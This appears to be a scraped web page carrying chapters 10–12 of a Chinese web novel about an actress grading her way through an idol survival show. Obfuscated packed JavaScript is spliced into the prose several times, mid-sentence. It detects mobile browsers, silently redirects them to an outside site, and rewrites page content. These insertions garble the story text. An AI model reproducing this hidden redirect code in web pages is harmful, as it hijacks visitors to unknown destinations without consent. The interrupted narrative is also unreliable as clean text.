35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261407|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 倒是费谣一副若有所思的样子,对着殷辞玉道:“小殷啊,这个女孩子的气息蛮稳的,音色嘛,我听得出来,算得上是不错,要么呢,你就高抬贵手,把这个A给给了?” 殷辞玉万万没有想到,卞苏能在这样短的时间之内俘获这么多老师的心,她一时间有些哭笑不得,但还是遵循着自己内心的想法,在署名“卞苏”的评分表上重重敲下鲜红的“A”的字样。 一切尘埃落定,她拿起手边的话筒,表情肃然:“现在公布中星天工作室练习生的等级,” “A等级的有,卞苏。” 全场沸腾! 听到这个结果之后,在场所有人无不心服口服,就连勉强算是半个门外汉的时虞清也忍不住连连赞叹,她听得出卞苏实力深厚,rap词的咬字尚且如此,到时候直接上台念台词估计都没有任何问题。 卞苏自己本人对这个结果似乎有点意外,但很快又笑起来。 耀眼的玫红色发丝在五颜六色的舞台灯光照耀下显得更加璀璨夺目,她的笑容自然而大方,没有哪怕一丝受宠若惊的惶恐,全部都是自知的自信。 原本纷乱的光芒随着卞苏的下台迅速沉寂下来,只留下一盏雪白色的亮光在舞台边缘遥遥照向中心。 屏幕被晕开的白光勉强照亮,短短几息之后,赫然变换出另一个完全不同的LOGO。 【影星传媒】。 “我靠,大公司的来了。” “诸君,来一同见证真神降临吧。” “这个世界真的好不公平……怎么会有人这么完美。” 席位上的讨论声渐渐想起来,时虞清听着身边的议论,竟然也沉浸其中,开始期待起那个来自于“大公司”的真神。 在那个面目模糊,甚至连身形都看不清的女孩出场之前,时虞清设想了几乎上千种可能性。 不同于卞苏极具攻击性的长相,女孩的长相恍如一池初融的春水,被清风吹得微微起皱,无尽的春意和婉约,都在隐隐荡漾起的潋滟湖波里面了。 就算是脸上的妆容也没能掩盖出女孩柔婉清丽的五官,她的一头黑发柔顺地垂到腰间,如果不是身上新中式风格的打歌服,时虞清甚至会以为她刚从哪一副古代的仕女图中走出来。 此情此景此人,她的闹中只剩下一句,“淡妆浓抹总相宜”。 正是因为有潋滟色,才能有好晴方吧。 “大家好,我叫舒照闻。是影星传媒的练习生,擅长vocal。” 此时相望不相闻,愿逐月华流照君。 舒照闻……好名字。 如果说在这里时虞清还能勉强保持镇定,安静在心中赞叹着看完舒照闻的舞台的话,那后来的她却是结结实实地惊艳了一把,切实体会到了众练习生口中“真神降临”的含金量。 舒照闻在唱完之后没有选择退场,而是主动加了一段个人solo舞台。 她从舞台背后,抱了一把琵琶出来。 10.初评级(五) 选秀舞台大多是团体参加,很少有这样solo出场的舞台。 可是现在却有两个solo的选手先后上台,不仅实力还都是相似的强劲,还都一同申请了dance部分的加试。 虽然不知道节目组这样的安排是不是别有用心,但是席位上所有选手的情绪都一齐被调动起来,所有人都期待地看向舒照闻,希望她能拿出和她vocal实力相匹配的dance实力。 时虞清看着已经反手把琵琶架上肩膀开始旋转的舒照闻,心中已经开始微微抽冷气了。 一把琵琶的分量不轻,如果是好的琵琶就更是重,年纪稍小一些的孩童连拿起来都废劲,这也是小时候的时虞清没有选择学习琵琶的原因。 她一直以为舒照闻是那种形如弱柳扶风的女生,但她能这样反手把住琵琶,就至少能单手提起一个二十斤重的行李箱。 舒照闻显然是专业的舞蹈生出身,时虞清在念大学的时候见过很多舞蹈专业的女生,虽然千人千面各有风姿,但是专业舞者的气质是很难模仿出来的。 她之前为了排练一出舞剧认识了很多舞蹈专业的朋友,是不是专业出身她一眼就能看出来。 果然,舒照闻一结束舞台,赵蕴予就了然地笑起来,认真问她:“你之前是不是学舞蹈的?” 舒照闻显然有些意外,她放下手中的琵琶,看上去稍微有些踌躇,但还是对着赵蕴予诚恳道:“不是的老师,我是学声乐的。” 竟然不是? 疑惑的不止有赵蕴予,还有坐在后排的时虞清。 这完全不应该啊?! 专业舞者的气质是非常难模仿的,第一个不同就是她们的身姿标准。 艺考对于舞蹈专业生的标准非常严苛。腕线过档只是最基本最基础的要求,更不用说其他零零碎碎的要求了。 光是这些硬性条件就能筛选掉一大批人,所以专业舞者都是千里挑一乃至万里挑一,时虞清就算觉得自己坐的远,也绝对不认为是自己看错了。 赵蕴予显然也没有轻易认同舒照闻说法的打算,但她看着舒照闻已经低垂下去的眉目,还是心中一动。 她想起之前在地下舞场遇到的一些事情,还是选择不去多问,只是笑了笑放下话筒,示意自己已经知道了。 舒照闻眉目低敛,不说话的她看上去就像是一幅古代遗留下来的美人图,美则美矣,但完全没有刚才的精气神。 时虞清在心中回想着这个女孩刚才在舞台上的表现,在她的回忆之中,不管是跳着舞的舒照闻还是正在唱歌的舒照闻,脸上的表情都是生动的、灵动的。 她的眼睛里面是有光的。 那个时候的她,不像是画中的人物,倒更像是执笔描绘万物的那个人。 时虞清心中疑惑,但这个时候殷辞玉已经发声了:“现在公布影星传媒练习生的初评级。” 她提起心。 虽然舒照闻的表演比起标准的女团舞还有一段相当的距离,但是很多舞种之间都是相通的,完全不存在说某种舞跳得好另一种舞就完全不会的情况,而且在场的人都是专业的,能看得出来舒照闻的舞蹈实力不俗。 果然,殷辞玉和费谣低语几句,才重新拿起手边的麦克风:“A等级的有,舒照闻。” 费谣拿起话筒,笑着接话:“恭喜你。” 第二个A! 谁都没有想到这个节目竟然会一连出现两个A级评价的选手,一时间都沸腾起来,她们丝毫不吝啬对陌生女孩的赞美,于是全场欢呼声不止。 舒照闻显然也有些意外,比起很多选手可能出现的受宠若惊或者欣喜若狂,她的表情竟然出乎意料的平静,而在这平静之下,竟然还掩藏着一丝丝……厌烦? 时虞清不可置信地瞪大眼,就当她还想要再看的时候,舒照闻就已经低下头向着导师们鞠躬了,时虞清根本就没有办法看清楚她眼底真正的神色。 可是眼睛是不会骗人的。 这是大学时候老师们就一遍一遍告诫时虞清的事情,话剧是最贴近观众的演出,不像是电视剧大荧幕可以一次次NG重来,话剧是一瞬间的演出。 观众是可以很清楚地看清演员们脸上的神色的,不消说眼睛之中的感情到不到位,就说脸上每一根脉络的抽动,在观众的眼中也是分毫毕现。 所以眼睛里面的“戏”就格外重要,这是你能不能驾驭这个角色的关键因素。 时虞清自诩眼神算得上不错,但是看不了第二遍,她也没有办法确认。 但……但如果她真的看清楚了呢? 舒照闻明明是舞蹈专业的学生,却自称声乐专业的学生;她分明拿到了很多选手都梦寐以求的A等级,可她看上去并不喜欢,或者说,并不想要这个结果。 为什么呢? * 节目的录制进程相当快,各路人马轮番登场,水平参差不齐,技艺五花八门,简直是翻版的八仙过海,大家都各显神通。 不过就算是比赛赛程已经过了一大半,评级为A的选手也是少之又少,就算算上之前A评级的卞苏和舒照闻,也只是凤毛麟角。 而且后面出现的A等级选手都是按照女团成员标准选出来的佼佼者,不管是舞台风格还是妆容造型,都是相当标准的女团风。 倒也不能说是不好,只是在时虞清看来,她还是更期待像卞苏、舒照闻这样具有个人特色的选手出现。 毕竟她在这个节目里面也呆不长久,能多见一个都算是开拓眼界。 现在上场的选手正是之前谭清清在她耳边曾经提起过的燕临纾,也是时虞清眼中相当标准的女团风格。 谭清清看得兴起,连眼睛都亮得吓人,可时虞清却只是反应平平,精彩的舞台比比皆是,燕临纾的舞台的确精彩,站在队伍中间一眼就能看出是c位,不管是vocal还是dance都是相当高的水准。 可这并不代表时虞清就要对这个感兴趣。 可下一秒,殷辞玉的发问却挑起了她的好奇心,她问燕临纾,“你没有……?” 她话说到一半才自知失言,殷辞玉没有继续往下说,而是紧急换了一句:“这几年进步很大。” 其他导师也纷纷开腔点评,席位上众人纷纷被吸引去注意,没有人在意刚才殷辞玉的失态。 可毕竟坐在时虞清的旁边的谭清清是殷辞玉多年的骨灰级粉丝,对她的微表情研究的堪称透彻,她的眼珠转了转,才附耳到时虞清身边,小声道, “我觉得,我担应该是想问,你没有出道?” 时虞清微微瞪大眼。 “我记得我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264667|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担的公司当年要筹备一个女团,那个时候我担的巡演才刚结束,突然被拍到提前回了韩国,我们那个时候还在疑惑她到底为啥回去,现在想起来,应该是给临纾姐掌眼。” 所以,被殷辞玉亲自掌眼且点头的人,竟然会没有选上女团? “那个时候站姐全都在巡演的地方,这个行程还是被代拍拍到的。还是一两个月之后,有同担在公司打卡的时候有临纾姐入镜,我们才知道临纾姐骨折了。” 可是殷辞玉的粉丝又怎么会在乎一个路人的身体状况? 所以这件事情还是谭清清想了又想,才从回忆里面挖掘出来的。 她小声说:“估计是因为这个,临纾姐才没能在那一次出道的。” 时虞清点点头,表示这件事情自己知道了。 她看向站在舞台正中央的燕临纾,女孩的长发被束成好几股小辫,显得利落又俏丽,她五官明艳,分明是天生的女团苗子。 时虞清看得愣神,半天才想起来回应谭清清的话:“没事,对她来说,现在应该也不算太晚。” 毕竟她从那双眼睛之中,看到了熟悉的热爱和眷恋, 以及,难以掩饰的、熊熊燃烧的欲望和野心。 果然,几位导师连凑过来商量的兴趣都没有,燕临纾的水平如何,在场的人只要长了眼睛就能看出来,她们都对燕临纾的最终评级结果心照不宣。 "燕临纾练习生的最终等级评价结果为——" “A。” * 欲望和野心,在座的每个人都有。 想要出道是人之常情,大家不是来给节目做慈善,既然来了这里,就必然是要得到一点什么东西的。 但是这股欲望的强烈程度却是因人而异的,时虞清觉得对于自己来说,能安稳地在前几轮就被淘汰已经算得上是好的结局。 至于从头看热闹到现在的谭清清,她年纪还小,来这里只是为了应付学校的安排拿到一纸实习证明,对于能否出道并不太在意。 而且她也有自知之明,论样貌,她算不上上乘,论实力,她只能算是平平,那么二十分之一的出道机会,又怎么可能会落到她头上呢? 况且,出道成为偶像,并不是她的梦想。 所以谭清清上台的时候选择的是一首偏元气向的唱跳舞曲,整体比较基础,不出错,但也不算出彩。 她满是星星眼地盯着殷辞玉,虽然最后只拿到了D的评价,下台回到席位的时候还是一脸恍惚地拽着时虞清的手。 “虞清。” “嗯?” “我这辈子值了。” 相比之下,蒋韫庭的欲望就更加强烈,尽管是团队表演,但她的表演算得上亮眼,毕竟是老牌唱片公司培养多年的练习生,实力自然不容小觑。 但因为个人舞蹈solo的练习时长不够,还是被赵蕴予一眼看了出来,给了B的评价。 komi个性好强,对“胜利”的渴望远远大于对于“舞台”的渴望,虽然rap部分表现相当亮眼,但是因为没有展示舞蹈和vocal,还是只得到了C的评价。 而时虞清看着身边的人陆陆续续回到席位之上,心中没有等待良久的焦急,只有夹杂着疲倦的无奈。 她万万没有想到,自己竟然是压轴出场。 11.初评级(完) 时隔无数个日夜,时虞清万万没有想到,自己再一次出现在舞台上,竟然是这样的。 没有精巧而繁复的布景,也没有厚重如砖的剧本。 自然也没有写批注写得微微发抖的小指,更没有一遍遍排练走位后,汗湿的脊背。 时虞清不是没有想过说出那一番话之后,自己的下场。 她有想过自己会被斥骂、会被问责,在看到观众手中高高举起的摄像头之后,她甚至想过自己会被网暴、被停职……甚至被处分。 虽然她想到东西都差不多灵验了,但是她没有想过,自己会站在一个完全陌生、和话剧截然不同的舞台上面。 这里不存在近在咫尺的观众,不存在拿着手持激光笔的工作人员。 也不存在冗长拗口的台词,更不存在被倾尽心血的表演。 繁重的链条从腰间沉沉垂下,光洁的小腿就这样暴露在室内算得上充足的冷气之中,不由得微微颤抖起来。 惨白的灯光从头顶直直的打下来,让时虞清忍不住有些眼眶发涩。 她一板一眼作了自我介绍,才看着殷辞玉做了一个“请开始”的手势。 费谣坐在殷辞玉身边,微笑着看着她,眼神暗含鼓励。 时虞清调整了一下耳麦,跟着耳返里面的提示鼓点唱出第一句词。 不同于之前众人都倾向的女团舞曲风格,她选择的是一首很经典的歌剧里面的配音。 因为知名度非常广,已经让这一首歌脱离了所谓“歌剧配乐”的范畴,这才让时虞清打了一个擦边球。 和节目组报送选曲的时候,时虞清不是没有被王姐质疑过用心,她很不解地看着时虞清,“你对话剧还没有死心啊?” 她像是想不明白,很费解地看着时虞清,“到现在了,你还想演话剧?” 时虞清抿着嘴,一言不发,却俨然是一幅默认的样子。 “不是我说,那话剧有什么好的?!” 王姐拉磨似地在办公室转了好几圈,才冲到时虞清面前,很无奈地问她: “你上一部戏的片酬是你在话剧院好几年的工资,虞清啊,你怎么就这么想不开呢?” “现在出了这一档事,我没说什么吧?你们院长倒是好得很!二话不说就把你给停职了!” 她的眼睛一眨不眨地盯着时虞清,好像想要看清楚这个女孩心中到底在想些什么东西, “我真是不明白你们这些演话剧的,一天到晚就挣这两个子,还天天累死累活任劳任怨的。” “你知道热度还没有你高的十八线小爱豆一场签售下来能赚多少钱吗?是,我确实是不懂你们话剧圈,但我知道你们那个和签售没有任何区别的SD就是在做慈善!” “你到底在想些什么呀我的小姑奶奶,就听我的安心在娱乐圈混不好吗?一年接两三个配角不照样也是演戏?跟你的梦想到底差哪了?要我说,比你在话剧院没日没夜的排练轻松不知道多少!” 时虞清哭笑不得地看着王姐,温声道:“不是这样的王姐。” “话剧对我来说是不一样的。” 王姐听了这话只觉得心头火直往上冲,她用尽了毕生的修养才没有说出“就是为了你那个死了的老师是吧!”而是怒不可遏道:“哪里不一样?!” 在观众面前演,和在镜头面前演,到底哪里不一样?! 她执着地盯着时虞清的眼睛,好像一定要问出一个答案。 但没等时虞清开口,那双秋水般的清澈双眼就已经告诉了她答案:就是不一样。 没有原因,更没有解释。 王姐却突然一下子哑了火,她像是没有办法地倒在远远远远椅子上,眼中只剩下时虞清那颗圆得像是被画出来的脑袋,她心中狠狠地想,果然圆脑袋都轴,死轴! 但毕竟是自己一手带出来的人,王姐和时虞清对视良久,才默默败下阵来,转而从桌子上抽出一沓文件,无奈道: “去试试吧,洗洗路人盘,说不定能让你的院长回心转意,放你一马。” 然后试着试着,她就站在了这里。 歌剧的唱腔华丽,但她唱得不算艰难,比起流行曲,这种华丽的、和话剧相似的绮丽风格更能让她安心。 灯光一瞬间从几色交织的纯光变换为纷乱的霓虹色,明亮到让人几乎睁不开眼睛。 明明身体还在跟随着节奏舞动,时虞清却忍不住想起了之前排练话剧的时光。 其实已经很久远了,还是在大学的时候,她饰演一个会跳舞的歌女。 这部话剧是民国题材,学生们原创的剧本。 歌女是当时的地下党,她长袖善舞,巧笑倩兮地游走在各路官员之间,套取第一手情报。 而接到组织委派后,她前往任务地,和老奸巨猾的白党高位官员周旋,获取组织想要的消息。 而她的机敏善变、聪慧敏捷也让她拿到了想要的东西,成功帮组织规避掉一个巨大的风险。 这部话剧有一部分需要歌女献舞,可当时的时虞清只懂声台形表,哪里懂跳舞。 可这个剧本写得实在太好,学院的学生们趋之若鹜,拿到角色须得过五关斩六将,谈何容易。 但想要拿到这个角色的心太过于强烈,时虞清一咬牙,跟着舞蹈学院的朋友连着泡了两个多月的练功房,才堪堪将角色收入囊中。 后来,演出出乎意料的成功,甚至惊动了学院里的其他老师,时虞清穿着华贵艳丽的旗袍在舞台上和面目猥琐的军官过招,全院的师生在舞台下掌声如雷动。 比起面目全非的现在,那是今时今日的时虞清依然会憧憬、想念却不知道什么时候能回去的过往。 但每一次展臂、每一次迈步都让时虞清在恍惚间回到练功房、回到那个充斥着汗水、热气和憧憬的十九岁。 * 赵蕴予用手托着下巴,饶有趣味地看着时虞清的舞台。 她能看得出来时虞清的基础一般,当然,这也是在简历上面写得明白的。 但不知道是不是因为演员出身的原因,时虞清在表演的时候,自带一种很特别的气场,让人不知不觉就看得入迷。 这是台风的原因,也是勤加练习的原因。 只有真正跳过舞的人才知道,做出那个动作不难,跳出来整首曲子,也不算难。 难的是你怎么跳,你的手放在那里,你用什么样的力道做出这个动作,你迈步要迈多大,才能让这个wave(波浪)做得自然。 这是舞者一生要追求的东西。 但这个就和重音落在哪里才能把台词念好一样,需要一遍一遍重复的练习,演员需要反复念,才能找到重音的落点; 而舞者,就需要像一座山峦一样立在镜子面前,将自己的动作打磨到精细、打磨到完美。 一座山长成一棵树需要多久?山中的泉水从山顶流到山脚需要多久? 她们打磨好一个动作需要多久?练好一支舞,直到它有资格被呈现在舞台上,又需要多久? 赵蕴予从数十年的风雨中走来,她心知肚明。 不过,现在她想,或许时虞清也知道这个答案。 * 殷辞玉现在已经有些疲惫了,她几乎从昨天清晨一直忙到深夜,睡了三个小时就匆匆赶过来录制节目。 这种辛苦早就已经是家常便饭,她并不觉得自己有多辛苦,毕竟对她而言,投入和回报基本上是成正比的。 相比于自己,在场馆外面等自己等到更深露重的粉丝们才更辛苦些。 从场馆走出之后,殷辞玉没有急着上保姆车,而是抬手摘掉口罩让粉丝们拍照,接过递来的信件和礼物。 她配合着粉丝们做饭撒,并没有感觉厌烦。 毕竟她们在这里等了整整一个白天,或者说,为了等殷辞玉在大陆活动,她们已经等了好几年。 粉丝们跨越山水千里迢迢来见她,她自然不能辜负。 但现在,殷辞玉坐在这些初出茅庐、涉世未深的女孩面前,才陡然想起,自己是怎么呕心沥血走到粉丝面前的。 舞台是有限的,就算在偶像产业高度发达的韩国,舞台也是极度稀缺的资源。 在组合还没有出名的时候,殷辞玉穿着算不上精美的打歌服,坐在摇摇晃晃的大巴上和队友们一起跑巡演。 韩国的冬天冷得刺骨,但她们必须在上台之前脱掉羽绒服,在呵气成霜的天气里只穿短裙,冷得发抖还不能让舞蹈动作变形。 那个时候的舞台对殷辞玉来说是希望,因为只有做好这个舞台,她才能去更大、更好的舞台。 后来团的位置随着专辑主打曲的走红水涨船高,音源大户的名头越穿越响,殷辞玉才终于能在温暖如春的室内表演,才能不在脱下羽绒服的那一刹那,用全身的力气对抗即将出现的鸡皮疙瘩。 她深知舞台的重要性,可显然,不是所有人都知道的。 她们在节目开始之前就已经初筛过一遍简历,其中获过奖项、有过表演经历甚至出过道不在少数,可殷辞玉看了几乎整整一天下来,却觉得她们并没有拿出应该有的实力。 或者说,她们之中的一部分人,并没有认真对待这个舞台。 明明有与之一战的实力,却并没有全力以赴的信念和决心。 殷辞玉知道她们在想什么,国内搞这种101系的选秀毕竟是第一次,没有人知道这档节目播出后会怎么样。 或声动整个华夏或岌岌无名到查无此人,什么情况都有可能发生。 既然不一定能拿到想象中的汇报,又何必为之奔赴? 所以她们都说喜欢这个舞台、热爱这个舞台,却并不都尽了全力。 但是…… 殷辞玉有些意外地看着时虞清,她知道时虞清是演员,但她并不清楚国内娱乐圈那些事,只知道面前这个女孩气质不错,性格也比较内敛,台上基本上都在欢呼的时候,只有她在乐呵呵地鼓掌。 但面前这个演员出身的女孩,态度却比很多想要成为偶像的女生都认真。 不仅仅是每个节奏都顺利踩上点的舞蹈,更是唱腔、音调、拍子无一出错的vocal。 她的风格并不能算是标准的女团风格,但是殷辞玉相信,她是有认认真真准备过的。 于是在时虞清表演完,朝着自己鞠躬的时候,殷辞玉下意识拿起了评分表; 四个导师笔迹不一,但内容相同。 殷辞玉的笑意从眉梢传递到眼角,她没有选择拿起笔写下自己的答案,而是径直拿起话筒, 她望着时虞清的眼睛,说出了她心中的那个答案。 “时虞清练习生最终的等级评价结果是——” “A。” * 等级评价舞台告一段落,练习生们纷纷前往后台准备休息,导师们已经坐上了车准备离开场馆,就连已经工作到发烫的摄像机都停止了工作,安静地呆在原地。 只有时虞清被工作人员拉住,说是要补一段前采。 她上台的时候,上一位选手的采访才刚开始,舞台等不了人,她就先上了舞台。 导播小姐姐笑得礼貌,时虞清却有些不好意思,觉得是自己耽误了人家工作,先说了抱歉。 导播笑着摆了摆手,示意时虞清跟着自己走。 通往后台的路很长,长到那些欢呼声和恭喜声一起在脑海之中播放倒带。 时虞清刚下台,谭清清就乐不可支地拽住她的胳膊:“虞清你是A哎!A! !” 她看上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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这下时虞清倒是没有跟着提词器打官腔,而是认真盯着镜头,一字一句道:“努力做好每个舞台。” 把她这段时间遗失的舞台,加倍补回来。 把她的话剧、她的理想,一一填补完整。 * 时间过得很快,转眼间又来到了第二次集合。 练习生们却好像都没有从一整天的录制重回过神来,就匆匆套上了初评级的衣服来到了演播厅。 时虞清穿着嫩到几乎能掐出水的卫衣,提着还没有完全睡醒的谭清清一路上台阶,坐在了她们之前的位置上。 练习生们陆陆续续到齐,但都是一幅没有睡醒的样子,直到导师们在舞台上站成一排,她们才努力拿出了精神头,用最好的状态面对舞台。 费谣看着眼前一群努力想要瞪大眼睛却无奈放弃的女孩,有些啼笑皆非,说:“大家休息得怎么样?” “还不错!” “其实不是很好!” “还可以!” 答案不一,但回答完问题的女生们看上去总算是清醒了一点。 她们认真地看着殷辞玉,等待着她为自己择清下一条道路。 殷辞玉倒是没有费谣那样的好耐心,她在练习生面前是一贯的严厉形象,就连现在也是直截了当,拿起节目单就准备直接进入主题: “现在发布第一条行程。” 她的目光认真扫过每一个女生的面容, “主题曲唱跳表演。” 她身后偌大的屏幕一闪,切进去一段练习室录像,穿着紧身舞蹈服的编舞师们严阵以待,等着被按下的播放键。 “一百名练习生要在三天的时间之内学习和表演主题曲。” 席位上一片哗然。 “三天?” “我没听错吧,三天?!” “天知道我学昨天那一支舞都学了快两个月……这是想要我的命吗?” 但是殷辞玉没有管她们,而是直接说了下去, “……进行,等级再评定。” 她没有等席位上对她的话再次出现反应,而是直接侧过身,向练习生们展示大屏幕: 音乐随着活泼的鼓点升腾起来,三个编舞师随着音乐的节奏抬起手,然后跟着鼓点的转变迅速转身,背着手做了一个轻盈的跳跃。 席位上登时是一片抽冷气的声音。 “嘶——这对吗老师们???” “我老天,一上来就给我们上强度?” “我都不敢想这个动作有多难卡拍子……” 女生们面露难色,可屏幕上的画面还在继续播放。 不同于之前费谣在舞台上抱着吉他自弹自唱的那一段独唱,这首歌完全没有那一段独唱的淡淡忧伤,更没有拖到最后才品出来的关于梦想的坚定,而是全盘的热情和理想。 曲调轻快活泼,虽然整体音调都算不上太高,但拍子和拍子之间的衔接却非常紧密,最后那段bridge的高音听上去也像是直接比整曲高了一个八度,真的不是谁都能唱出来的。 比起费谣之前的那一段独唱,这一首主题曲更符合大众印象中,对于女团舞曲的定位和印象。 明快、活泼,带着初生牛犊不怕死的勇气,和一往无前的理想信念。 想要被看到、被选择的渴望,想要实现梦想,最后站上那个位置的野心,都在这首歌里面了。 殷辞玉回头望向身后的一百位练习生,扬声问道:“你们有没有信心——!?” 输人不输阵,哪怕心里再没底这个时候也不能露怯,她们大声喊道:“有!” 殷辞玉满意点头,下一秒,其他四位导师退到一旁,她独自站在所有练习生的最前面,带着她们向摄像头的方向九十度弯腰鞠躬: “万象制作人——” “请多关照!” 12.主题曲评定(一) 时虞清推开门的时候,练习室已然灯火通明。 深秋的北方清晨是没有阳光的。 浓厚的白雾笼罩在这一片楼房之上,连灯光都影影绰绰,看不清样子。 但这座城市的作息却一如既往,街边的路灯按时熄灭,环卫工人按时出现在路边,沙沙的扫帚声混着远处学校的铃声,给这片白雾慢慢添上几分烟火气。 然而就在这个萦绕着雾气的清寒早晨,竟然已经有人在练习室跳得大汗淋漓。 女生的长发被简单扎成一个丸子头,身上粉色的卫衣已经被汗洇出了暗色,耳机随着她的动作上下晃动,透过紧贴在她脸颊边的那一撮刘海,时虞清最先看到的,竟然是她那双琥珀色的眼眸。 时虞清还没有回过神来,就先和已经转头看过来的女生对上了视线。 她有些无措,不知道是应该先客套地点头微笑还是先捧场对方的辛苦行为为她添镜头,纠结之间,就看到那个女生先行摘了耳机,朝自己走过来。 走进了之后,时虞清才发现自己和对方的身高相差有些太大,她自己一米六七,在舞台上算不上矮,有时候踩了高跟鞋,还会比有些男演员更高,可就算这样,时虞清看她的时候却要很明显地仰起头。 这说明,女生的身高至少有一米七五。 她们已经离得这样近了,再不打招呼就不礼貌了。时虞清刚想张口,就听见女生温声道:“没吃早饭吧?” 她没问时虞清为什么这么早来。 时虞清没想到她张口第一句竟然是这个,一时呆愣在原地,只能本能地顺着女生的话摇头。 女生闻言很了然地笑起来,她三步两步走到练习室的边缘,从随身的背包里面抽了一个塑料袋递给时虞清:“刚好我多带了一份,你吃过早饭再练吧,空腹跳舞对身体不好。” 那个塑料袋看上去像是刚从保温锅里面拿出来,乳白色的蒸汽从被扎紧的袋口丝丝缕缕地溢出,热气腾腾。 时虞清一时哑然,双手接过之后才连忙道谢,她几乎有些不知道应该说什么好了。 “我知道你,是叫虞清对不对?哎呀,你可和我队里的小妹妹一样大呢,趁热吃了再练啊,听话。” 她说完戴上了耳机继续练舞,或许是耳机里的伴奏有时间差,她还抽空侧向时虞清这边指了指塑料袋,口型是“快吃”。 时虞清一时讶然。 她身边接触的大部分都是女孩,有时候接受到无意识的善意其实是很平常的一件事,但是像这样妥帖温柔……几乎和母亲一般无二的善意,还是第一次见到。 她迟疑地看向那个女孩的侧脸,心中的那个名字逐渐浮现出来—— 邬钰。 她是继舒照闻之后出现的第三个A等级评价的训练生,但比起前两个或冷酷或清婉的练习生,她的个人特色显然并不突出。 对于单人solo的练习生来说,保持个人特色是一件非常重要的事情,和唱跳能力几乎相当;但是对于大型女团来说,突出的个人特色反而成了一种累赘。 因为在大型团体之中,团的概念和特色凌驾于个人之上,如果单人特色太过于突出,反而会影响整个团体的协调。 譬如韩国团体闻名的“刀群舞”,不仅仅追求的是动作的一致,更追求的是彼此风格的相协调相适应。 但是邬钰能在团队中拿到唯一一个A级评价,就证明她绝对不是什么中庸之辈。 台上的时虞清看得仔细,邬钰不仅动作到位,就连力道、卡点也是无一不精,大型团排舞时走位格外复杂,可难得她竟然连半分失误都没有,在队友们连连出错的情况下,是她撑起了这一支队伍,才没让表演全线崩盘。 不愧是队长。 时虞清觉得,或许抛开团队因素,邬钰做为ace的实力,应该能和燕临纾不相上下。 可她…… 时虞清不禁转头看向前方正在练习舞蹈的邬钰,这个时候她才发现,原来邬钰侧脸的弧度相当柔和,像是一个圆滑的钝角。 只是一开始硕大的耳机遮住了她的侧脸,所以时虞清看向她正脸的时候,看到是的如刀锋般清晰的轮廓。 但是其实邬钰本人的性格是天天操心这个操心那个的妈妈性格,和她侧脸的柔和弧度一样,她是一个耐心温柔到几乎没有脾气的人。 时虞清慢慢拆开那个暖呼呼的塑料袋子,里面是一小节蒸熟的玉米和红薯,还有一个已经被刻意敲打出裂痕、只需要轻轻用力就能全部剥下的水煮蛋。 除了这些,还有用透明塑料杯装起的一小瓶绿色果汁。 时虞清实在是没有想到这样一个小小的袋子里面竟然可以装得下这样多的东西,她没打算讲究,干脆一屁股坐在墙角,慢慢开始啃起了玉米。 或许是前几天的录制实在是太耗费精气,吃不太惯食堂正餐的时虞清竟然觉得手中这小半节玉米实在脆甜,一咬便有一小捧甘甜的汁液从玉米粒之间迸出,简直让人口舌生津、欲罢不能。 不仅玉米,就连红薯也蒸得甘甜软糯,橙红色的瓤一掰开就直直往外喷吐着香气和热气,唇舌不必花费分毫力气,那一小块红薯就直接在口腔中团成泥状,再带着滚烫的香甜气被咽进喉道。 果汁的包装和大学食堂先做的豆浆一模一样,羽衣甘蓝的香气混着苹果的甘甜芬芳一起涌进胃中,尽管没有加糖,果汁的淡淡酸甜意也足够可口, 温凉的果蔬汁清爽到极点,连原本噎人的鸡蛋黄也能轻松克服,顺利下肚。 时虞清刚收拾好手上的塑料袋,就见练习室的大门被人一把推开。 在没有刻意打光的情况下,卞苏的头发更偏向于暗色,她看上去像是没有完全睡醒,尚未完全褪去的倦意和困意让她原本冰冷的脸都变得柔和,整个人散发着一种半梦半醒的神奇感觉。 时虞清甚至觉得,如果现在就宣布比赛结束,她完全不会赶回宿舍收拾行李,而是直接席地一躺,两眼一闭就重新沉入梦乡。 但这显然并不可能。 卞苏抬手压了压头上的棒球帽,像是想要挡住自己满是睡意全无神采的眼睛,她朝着练习室中的两人点点头就算是打过招呼,戴上耳机就开始热身。 舒照闻和她几乎是前后脚进来,但她和卞苏几乎是完全两个完全不同的状态,不仅头发梳理得一丝不苟,就连脸上的淡妆都恰到好处,甚至她经过时虞清身侧的时候,还能闻到淡淡的香气。 燕临纾则刚好按住了马上要关上的门,但她既没有敷衍到像卞苏一样直接戴了个棒球帽,也没有精致到像舒照闻一样全副武装,只是恰到好处的打扮,显得干脆利落,又显得在两个极端之间进退维谷,难以决断。 她们三个都不是活泼多话的性格,但身上的气势却一个比一个强大,邬钰这次没把她们当成需要额外照顾的小妹妹,相□□头笑过就算打了招呼。 时虞清和她们一一打过招呼后就戴上耳机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 